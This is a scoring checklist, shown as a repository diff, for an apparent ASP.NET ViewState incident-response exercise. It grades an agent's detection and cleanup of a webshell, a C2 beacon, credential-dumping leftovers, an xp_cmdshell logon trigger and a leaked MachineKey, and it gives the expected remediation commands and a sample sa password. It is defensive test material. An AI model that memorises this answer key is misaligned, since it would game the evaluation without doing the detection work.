- **Evidence**: The `master` database contains a Server-level Logon Trigger `tr_audit_logon` (`ON ALL SERVER FOR LOGON`, with `EXEC xp_cmdshell 'cmd.exe /c echo ...'` in its body), and `xp_cmdshell` is enabled. On SQL Express this Trigger causes **all SQL logins (including sa and Windows authentication) to fail** — the runtime error of xp_cmdshell propagates into the LOGON event context, causing the login transaction to roll back.
|
| 238 |
+
|
| 239 |
+
> **Critical**: This Trigger is INTENTIONALLY BROKEN — the attacker-planted Logon Trigger produces a runtime error when triggering xp_cmdshell on SQL Express, causing **all** subsequent SQL connections (including sa mixed authentication and Windows integrated authentication) to fail. The SQL Error Log records `"Logon failed for login 'X' due to trigger execution"`. The detection Agent should be able to identify this anomalous pattern from the ERRORLOG.
|
| 240 |
+
- **Detection score** (3 pts)
|
| 241 |
+
- Discovery: Identifies the MSSQL Logon Trigger `tr_audit_logon` and the xp_cmdshell enabled configuration
|
| 242 |
+
- Evidence: Discovers the `"Logon failed for login ... due to trigger execution"` error entries via the SQL Error Log (`C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\Log\ERRORLOG`) (all connection attempts leave this record); or via offline inspection of `master.mdf`; references the `xp_cmdshell` call in the Trigger definition
|
| 243 |
+
- Attribution: The MSSQL Logon Trigger is a database-level persistence technique unique to SQL Server (SQL Express has no SQL Agent, so a Logon Trigger is a reachable equivalent substitute); enabling xp_cmdshell grants the database engine OS-command-execution capability; even though the Trigger is broken, its existence itself indicates that the attacker has sysadmin privileges
|
| 244 |
+
- **Plan score** (2 pts)
|
| 245 |
+
- Correctness: The plan explicitly states: since the Trigger causes all SQL logins to fail, SQL Express must be started in **single-user mode** (`sqlservr.exe -m -s SQLEXPRESS`), which skips Logon Trigger execution; or bypass it using DAC (Dedicated Admin Connection)
|
| 246 |
+
- Completeness: The plan includes reviewing the current status of xp_cmdshell + warning that all SQL connection methods (sa/Windows auth) are affected + directing to CHK-17 to perform the deletion
|
| 247 |
+
|
| 248 |
+
---
|
| 249 |
+
|
| 250 |
+
#### CHK-17: MSSQL backdoor cleanup `PER-D02`
|
| 251 |
+
|
| 252 |
+
- **Evidence**: The MSSQL Logon Trigger `tr_audit_logon` has been located (CHK-16) and needs to be deleted with xp_cmdshell disabled
|
| 253 |
+
- **Detection score** (3 pts)
|
| 254 |
+
- Discovery: Confirms the Trigger still exists and xp_cmdshell is enabled before deletion
|
| 255 |
+
- Evidence: After successfully connecting in single-user mode: `SELECT name FROM sys.server_triggers WHERE name = 'tr_audit_logon'` returns 1 row; the `run_value` of `EXEC sp_configure 'xp_cmdshell'` is 1
|
| 256 |
+
- Attribution: (continues the CHK-16 attribution; this item focuses on execution)
|
| 257 |
+
- **Plan score** (2 pts)
|
| 258 |
+
- Correctness: The Logon Trigger must be bypassed (because the Trigger causes **all** SQL logins to fail). Equivalent correct paths:
|
| 259 |
+
- **Path A (single-user mode)**: `net stop MSSQL$SQLEXPRESS` → `sqlservr.exe -m -s SQLEXPRESS` → `sqlcmd -S .\SQLEXPRESS -E` to connect → `DROP TRIGGER tr_audit_logon ON ALL SERVER; EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;` → restore normal service
|
| 260 |
+
- **Path B (DAC)**: Connect via the Dedicated Admin Connection using `sqlcmd -S admin:.\SQLEXPRESS -E` (DAC does not trigger the Logon Trigger) → same DROP commands as above
|
| 261 |
+
- Both paths are acceptable; the plan must explain why a direct connection is not possible (the Trigger blocks all logins)
|
| 262 |
+
- Completeness: Includes verifying the Trigger does not exist after restoring normal mode + xp_cmdshell is disabled + CRM application connection-string verification (accessing the page to confirm CRM is still available)
|
| 263 |
+
```sql
|
| 264 |
+
-- Execute in sqlcmd:
|
| 265 |
+
SELECT COUNT(*) FROM sys.server_triggers WHERE name = 'tr_audit_logon';
|
| 266 |
+
-- Expect a return of 0
|
| 267 |
+
EXEC sp_configure 'xp_cmdshell';
|
| 268 |
+
-- Expect run_value = 0
|
| 269 |
+
```
|
| 270 |
+
|
| 271 |
+
---
|
| 272 |
+
|
| 273 |
+
### Dimension 3: Vulnerability remediation
|
| 274 |
+
|
| 275 |
+
#### CHK-18: ViewState root cause + MachineKey `VUL-02`
|
| 276 |
+
|
| 277 |
+
- **Evidence**: The hardcoded `<machineKey validationKey="..." decryptionKey="..."/>` in `web.config` allows the attacker to craft a validly signed malicious ViewState payload with ysoserial.net; the hardcoded MachineKey is the root cause
|
| 278 |
+
- **Detection score** (3 pts)
|
| 279 |
+
- Discovery: Identifies that the root cause of the ASP.NET ViewState deserialization vulnerability is the leak of the hardcoded MachineKey
|
| 280 |
+
- Evidence: References the `validationKey` and `decryptionKey` values of the `<machineKey>` node in `web.config`; explains that after the attacker obtains these two keys by downloading `web.config.bak` (CHK-19), they can craft arbitrary valid ViewState payloads with ysoserial.net; combined with the POST `/CRM/Login.aspx` request in the IIS logs
|
| 281 |
+
- Attribution: Characterizes the hardcoded MachineKey as a vulnerability (rather than a mere misconfiguration) — ASP.NET's ViewState integrity depends on the MachineKey, and a key leak is equivalent to satisfying the exploitation condition for deserialization RCE; together with the `web.config.bak` misconfiguration (CHK-19) and AppPool LocalSystem (CHK-20) forms a three-in-one entry point
|
| 282 |
+
- **Plan score** (2 pts)
|
| 283 |
+
- Correctness: Rotate the MachineKey: generate a new random `validationKey` (64-byte hex) and `decryptionKey` (32-byte hex); update the `<machineKey>` node in `web.config`; `iisreset /restart` to apply the config (directs to the CHK-22 execution layer)
|
| 284 |
+
- Completeness: Includes tightening the ViewState configuration: enable `enableViewStateMac="true"` and `ViewStateEncryptionMode="Always"` on the `<pages>` node; note that all existing session tokens become invalid after rotation (users must log in again; business impact is low but must be communicated); references the deletion of `web.config.bak` (CHK-19) to ensure the leaked MachineKey can no longer be downloaded
|
| 285 |
+
|
| 286 |
+
---
|
| 287 |
+
|
| 288 |
+
#### CHK-19: web.config.bak + IIS fix `BAS-06`
|
| 289 |
+
|
| 290 |
+
- **Evidence**: `C:\inetpub\wwwroot\CRM\web.config.bak` can be downloaded directly via HTTP (IIS `<staticContent>` does not restrict the `.bak` extension); the file content is the same as `web.config`, containing the hardcoded MachineKey and database connection string
|
| 291 |
+
- **Detection score** (3 pts)
|
| 292 |
+
- Discovery: Identifies that the public exposure of `web.config.bak` is a vulnerability entry point
|
| 293 |
+
- Evidence: References the file path `C:\inetpub\wwwroot\CRM\web.config.bak`; confirms the file exists via `target-query -f filesystem`; confirms via the IIS logs that the attacker's `GET /CRM/web.config.bak HTTP/1.1` returned 200; identifies that the `<staticContent>` node of the IIS `web.config` has no MIME restriction or request filtering for `.bak`
|
| 294 |
+
- Attribution: Characterizes the `.bak` file exposure as one of the root causes of the misconfiguration vulnerability (not a code vulnerability but an operational risk); leaving operational backup files in the Web root is a high-frequency real-world incident pattern
|
| 295 |
+
- **Plan score** (2 pts)
|
| 296 |
+
- Correctness:
|
| 297 |
+
1. Delete the file: `Remove-Item -Force "C:\inetpub\wwwroot\CRM\web.config.bak"`
|
| 298 |
+
2. IIS request filtering to deny `.bak`: add to `<system.webServer>` in `C:\inetpub\wwwroot\CRM\web.config`:
|
| 299 |
+
```xml
|
| 300 |
+
<security><requestFiltering>
|
| 301 |
+
<fileExtensions><add fileExtension=".bak" allowed="false" /></fileExtensions>
|
| 302 |
+
</requestFiltering></security>
|
| 303 |
+
```
|
| 304 |
+
- Completeness: Includes a site-wide scan for other backup files such as `.bak`/`.old`/`.tmp` (`Get-ChildItem -Recurse -Include *.bak,*.old,*.tmp -Path C:\inetpub\`) + `iisreset /restart` to apply the config + verifying that HTTP access to `/CRM/web.config.bak` returns 403/404
|
| 305 |
+
|
| 306 |
+
---
|
| 307 |
+
|
| 308 |
+
### Dimension 4: Baseline hardening
|
| 309 |
+
|
| 310 |
+
#### CHK-20: CRM AppPool identity reset `BAS-06`
|
| 311 |
+
|
| 312 |
+
- **Evidence**: The CRM application runs in `DefaultAppPool`, whose `processModel.identityType` is currently `LocalSystem` (the attacker leverages this configuration to directly gain SYSTEM privileges via w3wp.exe RCE); it should be changed to the least-privilege `ApplicationPoolIdentity`
|
| 313 |
+
- **Detection score** (3 pts)
|
| 314 |
+
- Discovery: Identifies that the CRM AppPool using the LocalSystem identity is a high-risk misconfiguration
|
| 315 |
+
- Evidence: Discovers the value is `LocalSystem` via `Import-Module WebAdministration; (Get-ItemProperty "IIS:\AppPools\DefaultAppPool").processModel.identityType`; or obtains equivalent evidence by reading `C:\Windows\System32\inetsrv\config\applicationHost.config` via `target-query -f filesystem`; references that this configuration is a violation of the IIS security baseline
|
| 316 |
+
- Attribution: Characterizes the AppPool LocalSystem misconfiguration as the root cause of the intrusion's "direct privilege escalation" — the w3wp.exe code execution triggered by the attacker via ViewState RCE runs with SYSTEM privileges, requiring no additional escalation step; the standard security baseline requires the AppPool to use `ApplicationPoolIdentity` (a separate low-privilege account)
|
| 317 |
+
- **Plan score** (2 pts)
|
| 318 |
+
- Correctness: The plan provides the correct operation to modify the AppPool identity — change the `identityType` of the CRM AppPool to `ApplicationPoolIdentity`, then `iisreset /restart`. A plan to create a separate AppPool for CRM and migrate to it is acceptable
|
| 319 |
+
- Completeness: Includes post-change verification that the CRM application is accessible normally (business regression) + checking whether the CRM application depends on LocalSystem privileges to access specific resources (such as file-system paths, registry keys), and if so, separately authorizing the AppPool account + scanning other AppPools for the same misconfiguration
|
| 320 |
+
|
| 321 |
+
---
|
| 322 |
+
|
| 323 |
+
#### CHK-21: SQL sa password rotation `BAS-02` `BAS-03`
|
| 324 |
+
|
| 325 |
+
- **Evidence**: The SQL Express `sa` account password is `SpikeWin2019!` (already leaked in plaintext via `creds.txt`); the `sa` account is enabled (login mode is SQL mixed authentication); the `web.config` connection string uses the `sa` account
|
| 326 |
+
- **Detection score** (3 pts)
|
| 327 |
+
- Discovery: Identifies the sa weak password and that SQL mixed authentication is enabled
|
| 328 |
+
- Evidence: References that the connection string in `web.config` contains the `sa` account and the password `SpikeWin2019!` (hardcoded in plaintext); confirms SQL Express runs in mixed authentication mode (`target-query -f registry` looking up `HKLM\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQLServer\LoginMode` with value 2); or infers from the Administrator password leak in `creds.txt` (CHK-05) that the sa password faces the same leak risk
|
| 329 |
+
- Attribution: The sa password is hardcoded in web.config (and can be downloaded via the `.bak` file), and the attacker already has sysadmin privileges (corroborated by the CHK-16 Trigger plant); not rotating it is equivalent to leaving a persistent backdoor
|
| 330 |
+
- **Plan score** (2 pts)
|
| 331 |
+
- Correctness:
|
| 332 |
+
1. Generate a strong password: `$newpass = -join ((65..90)+(97..122)+(48..57)+('!','@','#','$') | Get-Random -Count 20 | ForEach-Object {[char]$_})`
|
| 333 |
+
2. Rotate the sa password: `sqlcmd -S .\SQLEXPRESS -E -Q "ALTER LOGIN sa WITH PASSWORD='$newpass'"`
|
| 334 |
+
3. Update the `web.config` connection string (replace `Password=SpikeWin2019!` with the new password)
|
| 335 |
+
4. Restart the CRM AppPool (`Restart-WebAppPool DefaultAppPool` or the separate pool)
|
| 336 |
+
- Completeness: Includes business regression verification (CRM can connect to the database normally) + noting that the new password should be stored securely (a password manager) rather than left in PS history + considering whether the sa account should be disabled (creating a dedicated low-privilege CRM DB account as a replacement)
|
| 337 |
+
|
| 338 |
+
---
|
| 339 |
+
|
| 340 |
+
#### CHK-22: MachineKey rotation + AppPool restart `BAS-03`
|
| 341 |
+
|
| 342 |
+
- **Evidence**: The current value of `<machineKey validationKey="..." decryptionKey="..."/>` in `web.config` has been obtained by the attacker (downloaded via `web.config.bak`); these keys are the necessary condition for crafting a malicious ViewState; they must be rotated to new random keys
|
| 343 |
+
- **Detection score** (3 pts)
|
| 344 |
+
- Discovery: Confirms the MachineKey in web.config needs to be rotated (the current value has leaked)
|
| 345 |
+
- Evidence: Reads the current validationKey/decryptionKey via `Select-String -Path "C:\inetpub\wwwroot\CRM\web.config" -Pattern "machineKey"`; via `Select-String -Path "C:\inetpub\wwwroot\CRM\web.config.bak" -Pattern "machineKey"` (if the .bak has not yet been deleted) confirms the two are identical (i.e. the .bak exposes exactly the keys currently in use); associates this finding with the vulnerability root-cause analysis of CHK-18
|
| 346 |
+
- Attribution: (continues the CHK-18 attribution; this item focuses on the execution layer) Not rotating the MachineKey means old ViewState payloads remain valid, and the attacker can still attack again with the cached keys
|
| 347 |
+
- **Plan score** (2 pts)
|
| 348 |
+
- Correctness:
|
| 349 |
+
1. Generate a new MachineKey:
|
| 350 |
+
```powershell
|
| 351 |
+
$validationKey = -join ((1..64) | ForEach-Object { '{0:X2}' -f (Get-Random -Max 256) })
|
| 352 |
+
$decryptionKey = -join ((1..32) | ForEach-Object { '{0:X2}' -f (Get-Random -Max 256) })
|
| 353 |
+
```
|
| 354 |
+
2. Update the `<machineKey>` node in `web.config` (replacing both validationKey and decryptionKey)
|
| 355 |
+
3. Restart the CRM AppPool (`Restart-WebAppPool DefaultAppPool` or the separate pool) to apply the new MachineKey
|
| 356 |
+
- Completeness: Includes business regression verification (CRM login works normally; old session tokens become invalid, users must log in again, which is expected behavior) + confirming that `web.config.bak` has been deleted (CHK-19) to avoid confusion between old and new MachineKeys + noting that if there is a load-balanced multi-instance setup, the `web.config` of all instances must be updated in sync with the same MachineKey (otherwise cross-instance session validation fails)
|
| 357 |
+
|
| 358 |
+
## scores.json output schema
|
| 359 |
+
|
| 360 |
+
```json
|
| 361 |
+
{
|
| 362 |
+
"checkpoints": [
|
| 363 |
+
{
|
| 364 |
+
"chk_id": "CHK-01",
|
| 365 |
+
"name": "Webshell help.aspx detection/removal",
|
| 366 |
+
"detection": {"discovery": 1, "evidence": 1, "attribution": 1, "total": 3, "max": 3, "rationale": "..."},
|
| 367 |
+
"plan": {"correctness": 1, "completeness": 1, "total": 2, "max": 2, "rationale": "..."}
|
| 368 |
+
}
|
| 369 |
+
]
|
| 370 |
+
}
|
| 371 |
+
```
|
ranges/aspnet-viewstate/checklist.md
ADDED
|
@@ -0,0 +1,371 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# range-aspnet-viewstate 检查清单
|
| 2 |
+
|
| 3 |
+
## 评分维度
|
| 4 |
+
|
| 5 |
+
每个原子 CHK 三维:
|
| 6 |
+
|
| 7 |
+
- **检测分**(满分 3 分):发现(1) + 证据(1) + 归因(1) — 评判检测 Agent 报告,LLM-as-a-Judge
|
| 8 |
+
- **方案分**(满分 2 分):正确性(1) + 完整性(1) — 评判被测 agent 输出中的修复建议,LLM-as-a-Judge
|
| 9 |
+
- **仅检测项**:方案分标 N/A,不参与汇总
|
| 10 |
+
|
| 11 |
+
### 跨 CHK 通用补充(方案完整性)
|
| 12 |
+
|
| 13 |
+
为避免"业务影响"成为单独 CHK 的重复打分项,所有涉及关键服务(IIS / SQL Express / DefaultAppPool)的加固类 CHK,其"方案完整性"子项的最低要求里**默认包含**:
|
| 14 |
+
> 方案需含本次改动服务的状态/语法验证(如 `iisreset /status`、`sqlcmd -Q "SELECT @@VERSION"`),并提示对其他服务可能的副作用。
|
| 15 |
+
|
| 16 |
+
如果 plan 缺这一项,对应 CHK 的"完整性"得 0 分。
|
| 17 |
+
|
| 18 |
+
---
|
| 19 |
+
|
| 20 |
+
## 原子 CHK 清单
|
| 21 |
+
|
| 22 |
+
### 维度 1:入侵实体识别与处置
|
| 23 |
+
|
| 24 |
+
#### CHK-01:Webshell 检出 + 删除 — `help.aspx` `ENT-F01`
|
| 25 |
+
|
| 26 |
+
- **证据**:`C:\inetpub\wwwroot\CRM\help.aspx` 存在(一句话 ASPX Webshell,w3wp.exe 下可直接执行任意代码)
|
| 27 |
+
- **检测分**(3 分)
|
| 28 |
+
- 发现:识别到 CRM 站点目录下存在非预期的 `help.aspx` 文件
|
| 29 |
+
- 证据:引用文件路径 `C:\inetpub\wwwroot\CRM\help.aspx`;分析文件内容为 ASPX Webshell(含 `Request`/`Response`/`Eval` 等特征关键字);或通过 `target-query <device> -f filesystem` 列举 CRM 目录找到异常文件
|
| 30 |
+
- 归因:将 Webshell 与攻击者通过 ViewState RCE 落地后的持久访问通道关联;指出运行于 LocalSystem 权限下的 w3wp.exe 可直接执行系统级命令
|
| 31 |
+
- **方案分**(2 分)
|
| 32 |
+
- 正确性:方案给出删除命令 `Remove-Item -Force "C:\inetpub\wwwroot\CRM\help.aspx"`
|
| 33 |
+
- 完整性:方案含删除后 IIS 日志审计(检查访问 help.aspx 的历史记录)+ 扫描站点目录其他异常 `.aspx` 文件(`Get-ChildItem -Recurse -Filter *.aspx | Get-FileHash` 对比预期清单)+ 验证文件已不存在
|
| 34 |
+
|
| 35 |
+
---
|
| 36 |
+
|
| 37 |
+
#### CHK-02:Beacon 二进制检出 + 删除 — `WindowsAuditSvc.exe` `ENT-F06`
|
| 38 |
+
|
| 39 |
+
- **证据**:`C:\ProgramData\WindowsAudit\WindowsAuditSvc.exe` 存在(攻击者落地的 C2 Beacon 二进制,伪装为 Windows 审计服务;同目录下有 `last-beacon.log` 记录 C2 回连尝试)
|
| 40 |
+
- **检测分**(3 分)
|
| 41 |
+
- 发现:识别到 `C:\ProgramData\WindowsAudit\WindowsAuditSvc.exe` 及同目录日志文件
|
| 42 |
+
- 证据:引用文件路径;通过 `target-query <device> -f filesystem` 发现 `C:\ProgramData\WindowsAudit\` 目录及其内容(`WindowsAuditSvc.exe` + `last-beacon.log`);引用 `last-beacon.log` 中含 C2 域名 `malicious-update.example.cn` 的回连记录;结合 SAS 告警(`MaliciousProcess`)判定该二进制为 Beacon
|
| 43 |
+
- 归因:与 C2 通信(`malicious-update.example.cn:8443`)关联;伪装为"WindowsAudit"服务名是常见 APT 伪装手法(命名贴近系统审计工具以降低可疑度)
|
| 44 |
+
- **方案分**(2 分)
|
| 45 |
+
- 正确性:方案给出先停进程再删文件:`Stop-Process -Name WindowsAuditSvc -Force -ErrorAction SilentlyContinue`;然后 `Remove-Item -Recurse -Force "C:\ProgramData\WindowsAudit\"`
|
| 46 |
+
- 完整性:方案含扫描其他常见 C2 落地位置(`C:\ProgramData\`、`C:\Windows\Temp\`、`C:\Users\Public\`)+ 检查是否有服务注册(`Get-Service | Where-Object { $_.PathName -like '*WindowsAudit*' }`)+ 确认目录已清除
|
| 47 |
+
|
| 48 |
+
---
|
| 49 |
+
|
| 50 |
+
#### CHK-03:Beacon 进程终止 — `WindowsAuditSvc.exe` `ENT-P02` `ENT-P03`
|
| 51 |
+
|
| 52 |
+
- **证据**:SAS 告警记录 `WindowsAuditSvc.exe` 曾以进程方式运行并尝试外连 C2(`malicious-update.example.cn:8443`);`last-beacon.log` 包含回连记录;取证时进程可能已因重启而不在运行,但二进制仍在磁盘且存在重新启动风险(schtasks / WMI 持久化可再次拉起)
|
| 53 |
+
- **检测分**(3 分)
|
| 54 |
+
- 发现:识别到 `WindowsAuditSvc.exe` 曾运行或仍在运行
|
| 55 |
+
- 证据:引用 SAS 告警(`MaliciousProcess` 类型)和 `last-beacon.log` 中的 C2 回连记录;若进程仍活跃则引用 PID 和网络连接;通过 `target-query -f processes` 取证或离线分析 Prefetch 文件确认曾执行
|
| 56 |
+
- 归因:将进程与 C2 Beacon 关联;说明该进程配合 schtasks/WMI 持久化机制可被周期性拉起
|
| 57 |
+
- **方案分**(2 分)
|
| 58 |
+
- 正确性:`Stop-Process -Name WindowsAuditSvc -Force`(或 `taskkill /F /IM WindowsAuditSvc.exe`)
|
| 59 |
+
- 完整性:方案含先阻断外联(CHK-07 防火墙规则)再杀进程的顺序说明 + 验证进程不再存在 + 检查是否有父进程或守护机制重启
|
| 60 |
+
|
| 61 |
+
---
|
| 62 |
+
|
| 63 |
+
#### CHK-04:攻击工具残留检出 + 删除 — `mimikatz.exe` `ENT-F06`
|
| 64 |
+
- **证据**:`C:\Windows\Temp\mimikatz.exe`(攻击者落地的凭证窃取工具残留)
|
| 65 |
+
- **检测分**(3 分)
|
| 66 |
+
- 发现:识别到 `C:\Windows\Temp\mimikatz.exe`
|
| 67 |
+
- 证据:引用文件路径;文件名 `mimikatz.exe` 为已知凭证窃取工具特征名;通过 `target-query <device> -f filesystem` 枚举 `C:\Windows\Temp\` 找到
|
| 68 |
+
- 归因:将 mimikatz.exe 与攻击者横向移动前的凭证窃取行为关联;结合 `lsass.dmp` 和 `creds.txt`(CHK-05)构成完整凭证窃取链路
|
| 69 |
+
- **方案分**(2 分)
|
| 70 |
+
- 正确性:`Remove-Item -Force "C:\Windows\Temp\mimikatz.exe"`
|
| 71 |
+
- 完整性:方案含扫描全盘寻找 mimikatz 副本(`Get-ChildItem -Recurse -Filter mimikatz* -ErrorAction SilentlyContinue`)+ 同步处理 CHK-05 的关联残留物(procdump / lsass.dmp / creds.txt)
|
| 72 |
+
|
| 73 |
+
---
|
| 74 |
+
|
| 75 |
+
#### CHK-05:凭证窃取残留检出 + 删除 — `procdump.exe + lsass.dmp + creds.txt` `ENT-F04`
|
| 76 |
+
|
| 77 |
+
- **证据**:`C:\Windows\Temp\procdump.exe`(攻击者落地的 LSASS 转储工具)、`C:\Windows\Temp\lsass.dmp`(~30MB,LSASS 内存转储,文件头为 `MDMP`)、`C:\Windows\Temp\creds.txt`(mimikatz 解析出的明文密码)
|
| 78 |
+
- **检测分**(3 分)
|
| 79 |
+
- 发现:识别到上述三个文件全部存在
|
| 80 |
+
- 证据:引用各文件路径;`lsass.dmp` 通过文件头 `MDMP` 或文件大小识别为 LSASS 进程内存转储;`creds.txt` 包含明文密码(需警告内容高度敏感);通过 `target-query <device> -f filesystem` 列举 `C:\Windows\Temp\` 发现
|
| 81 |
+
- 归因:将三者组合还原凭证窃取攻击链(procdump 转储 lsass → mimikatz 解析 → creds.txt 存储);说明攻击者可利用明文凭证进行横向移动
|
| 82 |
+
- **方案分**(2 分)
|
| 83 |
+
- 正确性:批量删除:`Remove-Item -Force "C:\Windows\Temp\procdump.exe","C:\Windows\Temp\lsass.dmp","C:\Windows\Temp\creds.txt"`
|
| 84 |
+
- 完整性:方案含在删除前取证保留(至少保留 creds.txt 内容用于确定需轮换的凭证范围)+ 扫描其他 Temp/Public 目录是否有副本 + 删除后验证三个文件均不存在 + 提示 creds.txt 中出现的所有密码必须立即轮换(级联处理到 CHK-21/CHK-22)
|
| 85 |
+
|
| 86 |
+
---
|
| 87 |
+
|
| 88 |
+
#### CHK-06:攻击者 IP 入站封禁 — `8.217.135.152` `ENT-N01`
|
| 89 |
+
|
| 90 |
+
- **证据**:攻击者源 IP `8.217.135.152`(IIS 访问日志 / 防火墙日志中可见,初始 HTTP GET `/CRM/web.config.bak` 和 POST `/CRM/Login.aspx` 来源)
|
| 91 |
+
- **检测分**(3 分)
|
| 92 |
+
- 发现:建议封禁攻击者 IP `8.217.135.152`
|
| 93 |
+
- 证据:引用该 IP 在 IIS 日志中的访问记录(`C:\inetpub\logs\LogFiles\W3SVC1\`);识别 GET `/CRM/web.config.bak` 返回 200 和 POST `/CRM/Login.aspx` 的 ViewState payload 请求
|
| 94 |
+
- 归因:将该 IP 认定为攻击者入侵来源;与后续 C2 域名 `malicious-update.example.cn` 解析到同一 IP 相关联
|
| 95 |
+
- **方案分**(2 分)
|
| 96 |
+
- 正确性:Windows 防火墙全协议封禁:`New-NetFirewallRule -DisplayName "Block_AttackerIP" -Direction Inbound -RemoteAddress 8.217.135.152 -Action Block`
|
| 97 |
+
- 完整性:含 Outbound 方向也封禁(`-Direction Outbound`)+ 验证规则生效(`Get-NetFirewallRule -DisplayName "Block_AttackerIP"`)+ 规则持久化默认即持久(Windows 防火墙规则重启保留)+ 提示若有安全组/云防火墙也同步配置
|
| 98 |
+
|
| 99 |
+
---
|
| 100 |
+
|
| 101 |
+
#### CHK-07:恶意 IP 出站封禁 + 域名封禁 — C2 endpoint `ENT-N02` `ENT-N03`
|
| 102 |
+
|
| 103 |
+
- **证据**:C2 endpoint `malicious-update.example.cn` → `8.217.135.152:8443`(Beacon 心跳目标)
|
| 104 |
+
- **检测分**(3 分)
|
| 105 |
+
- 发现:识别出 C2 域名 `malicious-update.example.cn` 和 IP `8.217.135.152` 需要出站封禁
|
| 106 |
+
- 证据:引用 Beacon 配置中的 C2 地址(通过反编译 `WindowsAuditSvc.exe` 或 SAS 告警中的 C2 通信记录);引用端口 `8443`(HTTPS over 非标端口,绕过简单防火墙策略的特征)
|
| 107 |
+
- 归因:说明该域名/IP 组合是 Beacon 回传的唯一出口;即使 Beacon 进程被终止,封禁出站可防止重部署
|
| 108 |
+
- **方案分**(2 分)
|
| 109 |
+
- 正确性:双重封禁:出站 IP 规则 `New-NetFirewallRule -DisplayName "Block_C2_IP_Out" -Direction Outbound -RemoteAddress 8.217.135.152 -Action Block`;出站端口规则 `New-NetFirewallRule -DisplayName "Block_C2_8443_Out" -Direction Outbound -Protocol TCP -RemotePort 8443 -Action Block`;DNS 层封禁(修改 hosts 文件 `Add-Content C:\Windows\System32\drivers\etc\hosts "0.0.0.0 malicious-update.example.cn"`)
|
| 110 |
+
- 完整性:含三层封禁说明(IP + 端口 + DNS)+ 验证各规则生效 + 说明 hosts 文件修改对非 DNS 解析路径(硬编码 IP 场景)的局限性
|
| 111 |
+
|
| 112 |
+
---
|
| 113 |
+
|
| 114 |
+
#### CHK-08:DLL hijack 恶意文件检出 + 删除 — `version.dll` `ENT-F06` `PER-H02`
|
| 115 |
+
|
| 116 |
+
